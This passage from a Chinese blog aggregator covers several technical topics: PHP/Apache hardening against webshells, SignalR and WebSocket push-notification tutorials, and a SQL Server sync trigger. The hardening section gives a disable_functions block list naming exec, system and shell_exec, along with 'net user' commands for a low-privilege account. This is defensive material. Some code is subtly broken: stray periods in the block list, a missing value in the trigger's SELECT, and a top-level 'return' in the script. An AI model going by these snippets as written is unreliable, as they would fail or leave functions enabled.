这样,如果脚本要读取/usr/local/apache/htdocs以外的文件将不会被允许,如果错误显示打开的话会提示这样的错误:

Warning: open_basedir restriction in effect. File is in wrong directory in /usr/local/apache/htdocs/open.php on line 4 等等。

2、防止php木马执行webshell

打开safe_mode, 在php.ini中设置 disable_functions= passthru,exec,shell_exec,system 二者选一即可,也可都选

3、防止php木马读写文件目录

在php.ini中的 disable_functions= passthru,exec,shell_exec,system 后面加上php处理文件的函数

主要有

 

fopen,mkdir,rmdir,chmod,unlink,dir

fopen,fread,fclose,fwrite,file_exists

closedir,is_dir,readdir.opendir

fileperms.copy,unlink,delfile

 

即成为

 

disable_functions = passthru,exec,shell_exec,system,fopen,mkdir,rmdir,chmod,unlink,dir , fopen,fread,fclose,fwrite,file_exists ,closedir,is_dir,readdir.opendir , fileperms.copy,unlink,delfile

 

ok,大功告成,php木马拿我们没辙了,遗憾的是这样的话,利用文本数据库的那些东西就都不能用了。

如果是在windos平台下搭建的apache我们还需要注意一点,apache默认运行是system权限,这很恐怖,这让人感觉很不爽.那我们就给apache降降权限吧。

 

net user apache fuckmicrosoft /add

net localgroup users apache /del

ok.我们建立了一个不属于任何组的用户apche。

我们打开计算机管理器,选服务,点apache服务的属性,我们选择log on,选择this account,我们填入上面所建立的账户和密码,重启apache服务,ok,apache运行在低权限下了。

实际上我们还可以通过设置各个文件夹的权限,来让apache用户只能执行我们想让它能干的事情,给每一个目录建立一个单独能读写的用户。这也是当前很多虚拟主机提供商的流行配置方法哦,不过这种方法用于防止这里就显的有点大材小用了。

注:来自www.itmgc.info

AngularJS+ASP.NET MVC+SignalR实现消息推送 - i鱿鱼 - 博客园

mikel阅读(1130)

来源: AngularJS+ASP.NET MVC+SignalR实现消息推送 – i鱿鱼 – 博客园

背景

OA管理系统中,员工提交申请单,消息实时通知到相关人员及时进行审批,审批之后将结果推送给用户。

技术选择

最开始发现的是firebase,于是很兴奋的开始倒腾起来。firebase用起来倒是简单:引用一个js即可,按官网上的教程很快便应用到了项目中。第二天打开项目发现推送功能不好使了,这是为何?最后发现firebase官网打不开了。。。难道firebase被google收了也会被天朝给墙掉?也许是firebase自己挂掉了,总之是用不了了。因为要完全把推送数据存放在firebase服务器上来实现推送功能,就会有以下几个需要担心的问题:

1.数据不安全

2.对firebase依赖性太强

3.firebase收费(免费版太弱)

于是果断放弃firebase,朋友推荐有个叫SignalR的东东可以试试,这是专门为ASP.NET开发人员准备的一款消息推送类库,且不依赖别的服务器、免费。

使用方法

1.在nuget中搜索并添加SignalR最新版本

2.在页面中引用JQuery.signalR-2.2.0.min.js文件(依赖JQuery),再添加<script src=”/signalr/hubs”></script>用于自动生成signalr的脚本

3.添加MsgHub.cs类,用于处理对应用户信息和消息推送实现

 

复制代码
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using Microsoft.AspNet.SignalR;
using Microsoft.AspNet.SignalR.Hubs;

namespace ZmeiOA.Services
{
   [Authorize]
    [HubName("ZmHub")]
    public class MsgHub : Hub
    {/// <summary>
        /// 连接
        /// </summary>
        /// <returns></returns>
        public override System.Threading.Tasks.Task OnConnected()
        {
            Groups.Add(Context.ConnectionId, Context.User.Identity.Name);
            return base.OnConnected();
        }

        /// <summary>
        /// 重新连接
        /// </summary>
        /// <returns></returns>
        public override System.Threading.Tasks.Task OnReconnected()
        {
            Groups.Add(Context.ConnectionId, Context.User.Identity.Name);
            return base.OnReconnected();
        }

        /// <summary>
        /// 断开连接
        /// </summary>
        /// <param name="stopCalled"></param>
        /// <returns></returns>
        public override System.Threading.Tasks.Task OnDisconnected(bool stopCalled)
        {
            Groups.Remove(Context.ConnectionId, Context.User.Identity.Name);
            return base.OnDisconnected(stopCalled);
        }
    }
}
复制代码

 

说明:SignalR的推送消息是基于用户连接(ConnectionId)的,SignalR会为每个会话自动生成一个ConnectionId。但是我们的推送是基于用户的(权限体系),也就是只有登录之后才注册到此Hub。在这里我用到的是SignalR中的Groups,把登录用户的ConnectionId与对应的UserId添加到Groups中,推送的时候只要指定Groups的Name,SignalR便会自动找出其对应的ConnectionId并发送消息(这种方式可能不是最好的,因为每个用户的UserId都会作为Groups的Key添加进去,当用户量很大的时候Groups也会很庞大,但我还没找到更好的替代方案)。

4.消息推送有两种形式:a.服务端直接推送;b.客户端推送。

区别在于,服务端推送是在持久化数据之后便可以直接把消息推送给相关人;而客户端推送是持久化数据之后,客户端根据返回值的情况,使用SignalR的JS方法调用服务端的推送功能。我使用的是服务器端直接推送数据,因为在持久化数据之后就完全可以根据业务通知相关人,如果返回到前台之后再调用服务端的推送方法只是多此一举。

如:保存申请单成功之后立刻通知审批人

在Service中获取Hub的上下文

  /// <summary>
  /// 消息推送上下文
  /// </summary>
  protected static IHubContext ZmHubContext = GlobalHost.ConnectionManager.GetHubContext<MsgHub>();

在保存申请单之后给相关人员推送消息(注意:dynamic方法broadcastTodo就是在客户端需要接收消息的方法)

复制代码
public static ApplyForm Save(FormView view)
{  
   //省略业务操作...
   //...
    //通知待办事项
    ZmHubContext.Clients.Groups(app.AuditorIds.Split(',')).broadcastTodo(app.AuditorIds, new { type = "new", data = app });
    return app;
}
复制代码

5.在注册Angular模块时连接Hub并作为value传入到模块中,这样每个controller都可以使用此连接:

  var zmHub = $.connection.ZmHub;

  var zmApp = angular.module('zmApp', ['ngRoute', 'ngResource', 'ngSanitize', 'ngMessages', 'ngSVGAttributes']).value('zmHub', zmHub);

6.在首页的controller中接收推送的消息,并提供两种推送体验:a.桌面通知;b.页面内消息。桌面通知很酷,即使是浏览器最小化的时候,在桌面右下角也可以收到提示(Chrome和Firefox支持,IE不支持)

 

复制代码
zmHub.client.broadcastTodo = function (userIds, obj) {
    //通知下级控制器有待办事项
    $scope.$broadcast('todoschanged', obj);
    //显示桌面通知
    if (obj.type == 'new') {
     //桌面通知标题
        var title = '来自[' + obj.data.ApplicantName + ']的申请单';
        //申请单类型名称
        var formTypeName = DefaultService.getEnumText(17, obj.data.Type);
        var msg = '[' + formTypeName + ']' + obj.data.Name;
     //桌面通知方法
        NotifyService.Notify('todos', title, msg);
    }
}
复制代码

 

下级控制器的接收方法(关于angularjs的broadcast不多解释,不明白的可以到官网查阅):

复制代码
//接收推送的待办事项
$scope.$on('todoschanged', function (d, obj) {
    $scope.$apply(function () {
     //如果是新增数据,在当前列表中添加一条
        if (obj.type == 'new') {
            $scope.todoApps.unshift(obj.data);
        }
        else if (obj.type == 'delete') {//如果是撤销申请,则把当前列表中那条数据删除
            for (var j = 0; j < $scope.todoApps.length; j++) {
                if ($scope.todoApps[j].Id == obj.data.Id) {
                    $scope.todoApps.splice(j, 1);
                    break;
                }
            }
        }
    });
});
复制代码

桌面通知服务:

复制代码
//桌面通知服务
zmApp.factory('NotifyService', function () {

    return {
        Notify: function (icon, title, msg) {
            // At first, let's check if we have permission for notification
            // If not, let's ask for it
            if (window.Notification && Notification.permission !== "granted") {
                Notification.requestPermission(function (status) {
                    if (Notification.permission !== status) {
                        Notification.permission = status;
                    }
                });
            }
            var iconPath = '/Content/images/icons/' + (icon || 'info') + '.png';
            var options = {
                lang: 'zh-CN',
                body: msg,
                icon: iconPath
            };
            var notify;
            // If the user agreed to get notified
            if (window.Notification && Notification.permission === "granted") {
                notify = new Notification(title, options);
            }
            else if (window.Notification && Notification.permission !== "denied") {
                Notification.requestPermission(function (status) {
                    if (Notification.permission !== status) {
                        Notification.permission = status;
                    }
                    if (status === "granted") {
                        notify = new Notification(title, options);
                    }
                    else {
                        console.log('您禁止了桌面通知,无法推送到您的桌面!');
                    }
                });
            }
            else {
                console.log('您禁止了桌面通知,无法推送到您的桌面!');
            }
            if (notify) {
                notify.onclose = function (evt) {

                };
                //点击切换到浏览器
                notify.onclick = function () {
                    window.focus();
                };
            }
        }
    };
});
复制代码

桌面通知效果:

 

总结:

  用SignalR推送消息总的来说比较简单,只需要简单几步便可实现,而且是selfhost,不必担心对其它服务器的依赖和数据安全问题,感兴趣的朋友可以试试

WebSocket与消息推送 - 张果 - 博客园

mikel阅读(1252)

来源: WebSocket与消息推送 – 张果 – 博客园

B/S结构的软件项目中有时客户端需要实时的获得服务器消息,但默认HTTP协议只支持请求响应模式,这样做可以简化Web服务器,减少服务器的负担,加快响应速度,因为服务器不需要与客户端长时间建立一个通信链接,但不容易直接完成实时的消息推送功能,如聊天室、后台信息提示、实时更新数据等功能,但通过polling、Long polling、长连接、Flash Socket以及HTML5中定义的WebSocket能完成该功能需要。

一、Socket简介

Socket又称”套接字”,应用程序通常通过”套接字”向网络发出请求或者应答网络请求。Socket的英文原义是“孔”或“插座”,作为UNIX的进程通信机制。Socket可以实现应用程序间网络通信。

Socket可以使用TCP/IP协议或UDP协议。

TCP/IP协议

TCP/IP协议是目前应用最为广泛的协议,是构成Internet国际互联网协议的最为基础的协议,由TCP和IP协议组成:
TCP协议:面向连接的、可靠的、基于字节流的传输层通信协议,负责数据的可靠性传输的问题。

IP协议:用于报文交换网络的一种面向数据的协议,主要负责给每台网络设备一个网络地址,保证数据传输到正确的目的地。

UDP协议

UDP特点:无连接、不可靠、基于报文的传输层协议,优点是发送后不用管,速度比TCP快。

二、WebSocket简介与消息推送

B/S架构的系统多使用HTTP协议,HTTP协议的特点:

1 无状态协议
2 用于通过 Internet 发送请求消息和响应消息
3 使用端口接收和发送消息,默认为80端口
底层通信还是使用Socket完成。

HTTP协议决定了服务器与客户端之间的连接方式,无法直接实现消息推送(F5已坏),一些变相的解决办法:

双向通信与消息推送

轮询:客户端定时向服务器发送Ajax请求,服务器接到请求后马上返回响应信息并关闭连接。  优点:后端程序编写比较容易。  缺点:请求中有大半是无用,浪费带宽和服务器资源。  实例:适于小型应用。

长轮询:客户端向服务器发送Ajax请求,服务器接到请求后hold住连接,直到有新消息才返回响应信息并关闭连接,客户端处理完响应信息后再向服务器发送新的请求。  优点:在无消息的情况下不会频繁的请求,耗费资小。  缺点:服务器hold连接会消耗资源,返回数据顺序无保证,难于管理维护。 Comet异步的ashx, 实例:WebQQ、Hi网页版、Facebook IM。

长连接:在页面里嵌入一个隐蔵iframe,将这个隐蔵iframe的src属性设为对一个长连接的请求或是采用xhr请求,服务器端就能源源不断地往客户端输入数据。  优点:消息即时到达,不发无用请求;管理起来也相对便。  缺点:服务器维护一个长连接会增加开销。  实例:Gmail聊天

Flash Socket:在页面中内嵌入一个使用了Socket类的 Flash 程序JavaScript通过调用此Flash程序提供的Socket接口与服务器端的Socket接口进行通信,JavaScript在收到服务器端传送的信息后控制页面的显示。  优点:实现真正的即时通信,而不是伪即时。  缺点:客户端必须安装Flash插件;非HTTP协议,无法自动穿越防火墙。  实例:网络互动游戏。

Websocket:
WebSocket是HTML5开始提供的一种浏览器与服务器间进行全双工通讯的网络技术。依靠这种技术可以实现客户端和服务器端的长连接,双向实时通信。
特点:
事件驱动
异步
使用ws或者wss协议的客户端socket

能够实现真正意义上的推送功能

缺点:

少部分浏览器不支持,浏览器支持的程度与方式有区别。

三、WebSocket客户端

websocket允许通过JavaScript建立与远程服务器的连接,从而实现客户端与服务器间双向的通信。在websocket中有两个方法:
1、send() 向远程服务器发送数据
2、close() 关闭该websocket链接
websocket同时还定义了几个监听函数
1、onopen 当网络连接建立时触发该事件
2、onerror 当网络发生错误时触发该事件
3、onclose 当websocket被关闭时触发该事件
4、onmessage 当websocket接收到服务器发来的消息的时触发的事件,也是通信中最重要的一个监听事件。msg.data
websocket还定义了一个readyState属性,这个属性可以返回websocket所处的状态:
1、CONNECTING(0) websocket正尝试与服务器建立连接
2、OPEN(1) websocket与服务器已经建立连接
3、CLOSING(2) websocket正在关闭与服务器的连接
4、CLOSED(3) websocket已经关闭了与服务器的连接

websocket的url开头是ws,如果需要ssl加密可以使用wss,当我们调用websocket的构造方法构建一个websocket对象(new WebSocket(url))的之后,就可以进行即时通信了。

复制代码
<!DOCTYPE html>
<html>

    <head>
        <meta name="viewport" content="width=device-width" />
        <title>WebSocket 客户端</title>
    </head>

    <body>
        <div>
            <input type="button" id="btnConnection" value="连接" />
            <input type="button" id="btnClose" value="关闭" />
            <input type="button" id="btnSend" value="发送" />
        </div>
        <script src="js/jquery-1.11.1.min.js" type="text/javascript" charset="utf-8"></script>
        <script type="text/javascript">
            var socket;
            if(typeof(WebSocket) == "undefined") {
                alert("您的浏览器不支持WebSocket");
                return;
            }

            $("#btnConnection").click(function() {
                //实现化WebSocket对象,指定要连接的服务器地址与端口
                socket = new WebSocket("ws://192.168.1.2:8888");
                //打开事件
                socket.onopen = function() {
                    alert("Socket 已打开");
                    //socket.send("这是来自客户端的消息" + location.href + new Date());
                };
                //获得消息事件
                socket.onmessage = function(msg) {
                    alert(msg.data);
                };
                //关闭事件
                socket.onclose = function() {
                    alert("Socket已关闭");
                };
                //发生了错误事件
                socket.onerror = function() {
                    alert("发生了错误");
                }
            });
            
            //发送消息
            $("#btnSend").click(function() {
                socket.send("这是来自客户端的消息" + location.href + new Date());
            });
            
            //关闭
            $("#btnClose").click(function() {
                socket.close();
            });
        </script>
    </body>

</html>
复制代码

四、WebSocket服务器端

JSR356定义了WebSocket的规范,Tomcat7中实现了该标准。JSR356 的 WebSocket 规范使用 javax.websocket.*的 API,可以将一个普通 Java 对象(POJO)使用 @ServerEndpoint 注释作为 WebSocket 服务器的端点。

复制代码
@ServerEndpoint("/push")
 public class EchoEndpoint {

 @OnOpen
 public void onOpen(Session session) throws IOException {
 //以下代码省略...
 }
 
 @OnMessage
 public String onMessage(String message) {
 //以下代码省略...
 }

 @Message(maxMessageSize=6)
 public void receiveMessage(String s) {
 //以下代码省略...
 } 

 @OnError
 public void onError(Throwable t) {
 //以下代码省略...
 }
 
 @OnClose
 public void onClose(Session session, CloseReason reason) {
 //以下代码省略...
 } 
 
 }
复制代码

上面简洁代码即建立了一个WebSocket的服务端,@ServerEndpoint(“/push”)的annotation注释端点表示将WebSocket服务端运行在ws://[Server端IP或域名]:[Server端口]/项目/push的访问端点,客户端浏览器已经可以对WebSocket客户端API发起HTTP长连接了。
使用ServerEndpoint注释的类必须有一个公共的无参数构造函数,@onMessage注解的Java方法用于接收传入的WebSocket信息,这个信息可以是文本格式,也可以是二进制格式。
OnOpen在这个端点一个新的连接建立时被调用。参数提供了连接的另一端的更多细节。Session表明两个WebSocket端点对话连接的另一端,可以理解为类似HTTPSession的概念。
OnClose在连接被终止时调用。参数closeReason可封装更多细节,如为什么一个WebSocket连接关闭。
更高级的定制如@Message注释,MaxMessageSize属性可以被用来定义消息字节最大限制,在示例程序中,如果超过6个字节的信息被接收,就报告错误和连接关闭。

复制代码
package action;

import javax.websocket.CloseReason;
import javax.websocket.OnClose;
import javax.websocket.OnError;
import javax.websocket.OnMessage;
import javax.websocket.OnOpen;
import javax.websocket.Session;
import javax.websocket.server.PathParam;
import javax.websocket.server.ServerEndpoint;

//ws://127.0.0.1:8087/Demo1/ws/张三
@ServerEndpoint("/ws/{user}")
public class WSServer {
    private String currentUser;
    
    //连接打开时执行
    @OnOpen
    public void onOpen(@PathParam("user") String user, Session session) {
        currentUser = user;
        System.out.println("Connected ... " + session.getId());
    }

    //收到消息时执行
    @OnMessage
    public String onMessage(String message, Session session) {
        System.out.println(currentUser + ":" + message);
        return currentUser + ":" + message;
    }

    //连接关闭时执行
    @OnClose
    public void onClose(Session session, CloseReason closeReason) {
        System.out.println(String.format("Session %s closed because of %s", session.getId(), closeReason));
    }

    //连接错误时执行
    @OnError
    public void onError(Throwable t) {
        t.printStackTrace();
    }
}
复制代码

url中的字符张三是的路径参数,响应请求的方法将自动映射。

五、测试运行

六、小结与消息推送框架

Socket在应用程序间通信被广泛使用,如果需要兼容低版本的浏览器,建议使用反向ajax或长链接实现;如果纯移动端或不需考虑非现代浏览器则可以直接使用websocket。Flash实现推送消息的方法不建议使用,因为依赖插件且手机端支持不好。关于反向ajax也有一些封装好的插件如“Pushlet”

6.1、开源Java消息推送框架 Pushlet

Pushlet 是一个开源的 Comet 框架,Pushlet 使用了观察者模型:客户端发送请求,订阅感兴趣的事件;服务器端为每个客户端分配一个会话 ID 作为标记,事件源会把新产生的事件以多播的方式发送到订阅者的事件队列里。

源码地址:https://github.com/wjw465150/Pushlet

Pushlet是一种comet实现:在Servlet机制下,数据从server端的Java对象直接推送(push)到(动态)HTML页面,而无需任何Javaapplet或者插件的帮助。它使server端可以周期性地更新client的web页面,这与传统的request/response方式相悖。浏览器client为兼容JavaScript1.4版本以上的浏览器(如InternetExplorer、FireFox),并使用JavaScript/DynamicHTML特性。而底层实现使用一个servlet通过Http连接到JavaScript所在的浏览器,并将数据推送到后者。

6.2、开源DotNet消息推送框架SignalR

SignalR是一个ASP .NET下的类库,可以在ASP .NET的Web项目中实现实时通信。在Web网页与服务器端间建立Socket连接,当WebSockets可用时(即浏览器支持Html5)SignalR使用WebSockets,当不支持时SignalR将使用长轮询来保证达到相同效果。

官网:http://signalr.net/

源码:https://github.com/SignalR/SignalR

七、代码下载

7.1、Java实现的服务器端代码与客户端代码下载

点击下载服务器端代码

点击下载客户端代码

7.2、DotNet服务器端手动连接实现代码下载

点击下载DotNet服务器端手动连接实现代码

7.3、DotNet下使用SuperWebSocket三方库实现代码下载

点击下载DotNet下使用SuperWebSocket三方库实现代码

sqlserver触发器insert,delete,update - Coder_小菜 - 博客园

mikel阅读(2875)

来源: sqlserver触发器insert,delete,update – Coder_小菜 – 博客园


-- =============================================
-- Author: 王伟
-- Create date: 2017-07-06
-- Description: 增、删、改开放时间表时,同步数据至考勤安排表
-- =============================================
CREATE TRIGGER [dbo].[TR_LM_SYS_KaiFangShiJian_IDU]
ON [dbo].[LM_SYS_KaiFangShiJian]
FOR INSERT,DELETE,UPDATE
AS
BEGIN
--新增
if(exists(select 1 from inserted) and not exists(select 1 from deleted))
begin
INSERT INTO LM_KQ_KaoQingAnPai
( KaoQingAnPaiID ,
ShiYanShiID ,
KaiShiRiQi ,
JieShuRiQi ,

XingQingBianHao ,
KaiShiShiJian ,
JieShuShiJian ,
SystemType ,

CreateOn ,
CreateDate ,
UpdateOn ,
UpdateDate
)
SELECT CONVERT(VARCHAR(100), A.KaiFangShiJianID) AS KaiFangShiJianID ,
CONVERT(VARCHAR(100), A.ShiYanShiID) AS ShiYanShiID ,
A.KaiShiRiQi ,
A.JieShuRiQi ,

A.XingQingBianHao ,
A.KaiShiShiJian ,
A.JieShuShiJian ,
AS SystemType ,

NULL ,
GETDATE() ,
NULL ,
GETDATE()
FROM Inserted AS A
INNER JOIN LM_SYS_ShiYanShiXinXi AS B ON A.ShiYanShiID = B.ShiYanShiID
INNER JOIN LM_MJ_Men AS C ON B.MenID = C.MenID
WHERE A.ShiFouMoRen = 0
AND B.IsDelete = 0
AND C.IsDelete = 0;
end

–删除
if(not exists(select 1 from inserted) and exists(select 1 from deleted))
begin
delete from LM_KQ_KaoQingAnPai
where KaoQingAnPaiID in(select KaiFangShiJianID from deleted)
end

–更新
if(exists(select 1 from inserted) and exists(select 1 from deleted))
begin
update LM_KQ_KaoQingAnPai set ShiYanShiID=a.KaiFangShiJianID
,KaiShiRiQi=a.KaiShiRiQi,JieShuRiQi=a.JieShuRiQi
,XingQingBianHao=a.XingQingBianHao,KaiShiShiJian=a.KaiShiShiJian
,JieShuShiJian=a.JieShuShiJian,UpdateDate=GETDATE()
from inserted a
where KaoQingAnPaiID=a.KaiFangShiJianID
end

END

GO